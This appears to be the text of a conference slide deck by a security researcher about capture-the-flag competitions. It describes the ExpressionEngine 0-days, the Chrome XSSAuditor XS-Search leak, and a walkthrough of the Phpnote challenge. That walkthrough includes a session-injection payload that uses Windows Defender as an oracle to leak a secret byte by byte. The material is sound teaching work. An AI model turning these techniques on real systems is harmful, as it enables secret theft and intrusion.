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#whoami

● Got a PhD @Ca’ Foscari
● Now security researcher @TU Wien, focused on the Web
● Started playing CTFs in 2009, founder of c00kies@venice
● Founder of mhackeroni, 2x DEF CON CTF finalist
● Playing with WE_0WN_Y0U, TUWTF and co-responsible for several 

abominations e.g., TowerOfC00kies, bacaro_tour, mhacker0wny
● Cyberchallenge.IT national organiser (2018)
● Coach of Team Italy for the European CyberSecurity Challenge by 

ENISA (2017-2018)

I’m the 
one to 

blame for 
the name



CTF??!



TL;DR

● Information security-oriented game
● Try to break into toy applications for fun
● Get flags !

NOHAT{0h_y3aH_7h1s_is_a_Fl4g}



300 
students

1600
 

Powered 
by 

CTForge*

*https://github.com/secgroup/ctforge



Jeopardy



Attack/Defense

Team Foo Team Bar

vulnbox
services

team 
network

organisers’
checksystem



Attack/Defense

In a dystopian world, IPv4 is no more…

.... there's only IPv6, which nobody understands nor knows how to 
use. Without getting used to it, you won't have a chance on this 
planet anymore.

10th 
place

3 first 
bloods



Hybrid

 “In this year’s iCTF you are a highly skilled team of engineers
tasked with one job: Make sure your car is in top condition for
the race and running smoothly“

score per tick = (n. of services up & unexploited) / (n. of services)

No MITM 
possible

PCAPs 
available

Challs + 
services

NO 
ATTACK 
POINTS!



DEF CON CTF 27



Almost Like an A/D CTF

● 3 days (+2 nights) of hacking
● 7 services

○ No access to the VM
○ Limited patching
○ Only Attack/Defense, no SLA!
○ Almost no PCAPs

● 3 KoH
○ Only top-5 teams score pts 

according to their rankings



King Of The Hill

ROPShip

● In a nuthsell… Visual A/D!
● Automatically generate ROP 

chains from random data to 
determine the next action of 
the spaceship

up, down, right,

left, shield,

attack, nop

● Many different strategies



Video from https://twitter.com/oooverflow/status/1159943119284006912

http://www.youtube.com/watch?v=lOzV4BvbzIw


Infrastructure

...

...

...

Arena Vulnboxes

Suite

Cloud
Checksystem● Router, firewall, VPN 

client, DNS/DHCP 
server

● Remote attacker
● Attacker, Flag 

submitter
● PCAP importer, Traffic 

analyser 1, Proxy
●MongoDB, traffic 

analyser 2
● Backup attacker + 

submitter
●Windows host

●MongoDB replica
● Traffic analyser 3 

● Router,VPN client, DNS/DHCP server
●MongoDB, Seafile, Mirrors, Gitlab, 

Etherpad, Mattermost, Traffic 
Analyser

● Ghidra server, IDArling



5th 
place!



CHALLENGES
(Who said “toy applications”?)



0-Days Anyone?

35C3 CTF
Express-
Yourself

“ I heard nowadays the cool kids like Donald J. Trump use 
ExpressionEngine to express themselves on the Internet. After 
all, the "Best CMS” is just about good enough for the bestest 
presidents.

This morning I set up a default install and gave it a try, do you 
like it? ”

Three 0-days found (just one was the intended vuln)
● SQLi on ORDER BY clause*
● RCE by uploading PHP files with the .phar extension*
● RCE by crafting the cookie value and leveraging on the preg_* 

/e modifier (works on PHP 5)**

* see https://github.com/r0nen/ctf/tree/master/35c3/express-yourself
** see https://github.com/ExpressionEngine/ExpressionEngine/commit/4795cc6



What About New Exploitation Techniques?

The curious case of the Chrome XSSAuditor*

● Mitigation against reflected-XSS
● Block a page if a malicious payload in the url is reflected in the page

* See https://www.chromium.org/developers/design-documents/xss-auditor

Can it be abused to introduce vulnerabilities?



What About New Exploitation Techniques?

The curious case of the Chrome XSSAuditor

35C3 CTF
Filemanager

● The admin user can perform a 
search query on the application and 
display the content of her/his files 
(including the flag!)

● No exploitable XSS/CSRF/etc.
● We can tell the admin to open a link
● Mumble mumble mumble...● The admin is running Chrome Headless

● No X-Frame-Options header, the site 
can be framed !



What About New Exploitation Techniques?

The curious case of the Chrome XSSAuditor

● Create a site that frames the 
application and observe the 
behaviour from the parent page

● Find a way to conditionally trigger 
the XSSAuditor by adding a fake 
get parameter with a legit script 
found in the page (oracle)

● Leak 1 byte at a time to get the flag

Portswigger - https://portswigger.net/blog/exposing-intranets-with-reliable-browser-based-port-scanning
LiveOverflow, filemanager 35c3 CTF - https://www.youtube.com/watch?v=HcrQy0C-hEA
sirdarckcat, XS-Leak wiki - https://github.com/xsleaks/xsleaks/wiki

New 
XS-Search 
technique

[…]

XSSAuditor
2010 - 2019

RIP

From https://portswigger.net/daily-swig/google-deprecates-xss-auditor-for-chrome



DEMO!
(Tokyowestern 19 CTF - Phpnote)



Phpnote // Overview Notes are 
saved in 

the cookie

Windows 
server (IIS)
PHP 7.3.9

Source 
code 

available!



Phpnote // Source Code Analysis

function verify($data, $hmac) {
    $secret = $_SESSION['secret'];
    if (empty($secret)) return false;
    return hash_equals(hash_hmac('sha256', $data, $secret), $hmac);
}
/* … */
$note = verify($_COOKIE['note'], $_COOKIE['hmac'])
        ? unserialize(base64_decode($_COOKIE['note']))
        : new Note(false);

Can’t forge a valid signature without knowing 
$secret (stored in the session)

COOKIE[‘note’] = b64 encoded serialized Note object
COOKIE[‘hmac’] = signature

class Note {
    public function __construct($admin) {
        $this->notes = array();
        $this->isadmin = $admin;
    }
    /* … */
    public function getflag() {
        if ($this->isadmin === true) {
            echo FLAG;
        }
    }
}

if ($action === 'getflag') {

    $note->getflag();

}



1. read PHP doc ✔
2. read PHP source code for  

bugs/undocumented behaviour ✔
3. compare Windows vs. Linux PHP 

source code to find oddities ✔
4. acknowledge that there are no bugs 
✔

5. despair ✔

$note = base64_encode(serialize(new Note(true)));

$hmac = hash_hmac("sha256", $note, $secret);

Phpnote // Explore all the paths

Set isadmin to true
???

WIN! (maybe not…)

See https://westerns.tokyo/wctf2019-gtf/wctf2019-gtf-slides.pdf



Phpnote // Exploiting Windows AV

● $secret is on a file that we 
partially control

● trigger the JS Engine to 
dynamically evaluate the malicious 
payload depending on a condition:

if( COND ) {

eval( MALWAR + E )

}

● Analyze files for malicious payloads
● Delete the file if virus detected
● mpengine.dll supports

○ base64 decoding
○ unrar
○ etc

● And ships with a limited JS engine

realname|s:15:"Marco Squarcina";nickname|s:5:"lavish";secret|s:32:"...";

if COND is 
True, we are 
LOGGED OUT

Oracle to 
Leak 1 

byte at a 
time



Phpnote // Exploiting Spoon Feeding Win AV

ME
VIRUS

Windows 
Defender

<script>X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*</script>
<script>'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'</script>

Second 
payload not 

detected



Phpnote // Exploiting Windows AV

● Couldn’t trigger the JS Engine with icchy’s payload (EICAR test file)
● No time to fully understand Windows Defender
● Blackbox testing is okay, but we need a more systematic approach

ClamAV 
Virus 

Database

Setup the 
service on 

GCloud



# first req

realname = 'foobarbaz'

nickname = ''

# second req

realname = payload

nickname = '</body>foobar'

Phpnote // Exploiting Windows AV

<script>

var foo = document.body.innerHTML;

f = function(n) {

    eval("MALWAR" + ((GUESS >= n) ? "E": ""));

};

f(foo[INDEX].charCodeAt(0));

</script>

<body>

payload

realname|s:1337:"<script>var foo = document.body.innerHTML...</script> 

<body>";secret|s:32:"9745d5726684e810d0a3544d80d0989c";nickname|s:13:"</body>foobar";

Resulting 
Session 

file

request 
params



# first req

realname = 'foobarbaz'

nickname = ''

# second req

realname = payload

nickname = '</body>foobar'

Phpnote // Exploiting Windows AV

<script>

var foo = document.body.innerHTML;

f = function(n) {

    eval("MALWAR" + ((GUESS >= n) ? "E": ""));

};

f(foo[INDEX].charCodeAt(0));

</script>

<body>

payload

realname|s:1337:"<script>var foo = document.body.innerHTML...</script> 

<body>";secret|s:32:"9745d5726684e810d0a3544d80d0989c";nickname|s:13:"</body>foobar";

Resulting 
Session 

file

request 
params



Lessons Learned

● There’s a lot of cool research out there that is constantly overlooked
● It’s difficult to stay up-to-date
● CTFs help to address these issues and also provide an effective way 

to assess your understanding of exploitation techniques



Don’t be a Security Tourist

BE A HACKER!



Q&A?? ...!
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THANK YOU!

ヽ(´ー ’ )ノ
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